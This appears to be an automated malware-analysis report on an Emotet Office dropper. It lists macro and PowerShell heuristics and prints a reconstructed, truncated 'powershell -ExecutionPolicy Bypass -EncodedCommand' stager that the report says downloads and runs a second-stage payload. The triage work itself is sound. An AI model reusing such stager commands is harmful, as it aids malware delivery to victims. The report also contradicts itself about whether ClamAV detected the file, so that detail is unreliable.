Malware Insights
The sample contains obfuscated VBA macros, including a Document_Open auto-exec macro, which is a common delivery mechanism for Emotet. The critical heuristic 'OLE_USERFORM_OBFUSCATED_POWERSHELL' indicates the presence of a PowerShell stager. This stager is responsible for downloading and executing a second-stage payload, as suggested by the ClamAV detection name 'Doc.Dropper.Emotet-9761056-0'. The reconstructed PowerShell command appears to be: 'powershell -ExecutionPolicy Bypass -EncodedCommand JABEAGwAagBxA2vhaghsghfGMAcQB0AD0AKA2vhaghsghfAnAEYAJwArACg2vhaghsghfACcAKwAnADYAJ2vhaghsghfwApACsAJwB2AC2vhaghsghfcAKQA7ACYAKAA2vhaghsghfnAG4AZQB3AC0A2vhaghsghfJwArACcASQAnA2vhaghsghfCsAJwB0AGUAbQ2vhaghsghfAnACkAIAAkAGU2vhaghsghfAbgBWADoAdQBz2vhaghsghfAGUAcgBwAFIAT2vhaghsghfwBmAGkATABFAF2vhaghsghfwAeQBzADEASAA2vhaghsghfyAG4AeABcAEMA2vhaghsghfNgBOADYAdgB5A2vhaghsghfHEAXAAgAC0AaQ2vhaghsghfB0AGUAbQB0AHk2vhaghsghfAcABlACAARABp2vhaghsghfAFIAZQBjAHQAb2vhaghsghfwByAHkAOwBbAE2vhaghsghf4AZQB0AC4AUwB2vhaghsghflAHIAdgBJAGMA2vhaghsghfZQBQAG8AaQBuA2vhaghsghfHQATQBhAG4AYQ2vhaghsghfBnAGUAcgBdADo2vhaghsghfAOgAiAFMARQBg2vhaghsghfAGMAVQBSAEkAV2vhaghsghfAB5AFAAcgBPAF2vhaghsghfQAYABvAEMAYAB2vhaghsghfvAEwAIgAgAD0A2vhaghsghfIAAoACcAdAAnA2vhaghsghfCsAKAAnAGwAJw2vhaghsghfArACcAcwAxADI2vhaghsghfAJwApACsAKAAn2vhaghsghfACwAIAB0ACcAKwAnA2vhaghsghfGwAcwAnACkAKQ2vhaghsghfA7ACQATgBfAHU2vhaghsghfAbgBxAG4ANgAg2vhaghsghfAD0AIAAoACcAS2vhaghsghfAAnACsAJwAzAC2vhaghsghfcAKwAoACcAdgA2vhaghsghfnACsAJwBoAGsA2vhaghsghfJwArACcAcQB6A2vhaghsghfHIAJwApACsAJw2vhaghsghfAyACcAKQA7ACQ2vhaghsghfATAA1ADgAdQBm2vhaghsghfADUAdQA9ACgAK2vhaghsghfAA'.
Heuristics 8
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Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELLOLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
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ClamAV: Doc.Dropper.Emotet-9761056-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Emotet-9761056-0
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basb4e7e6a496a33a5d51b25c403e1165bdc88602f70d8eedc62b6d635ba4d9d28a |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 22614 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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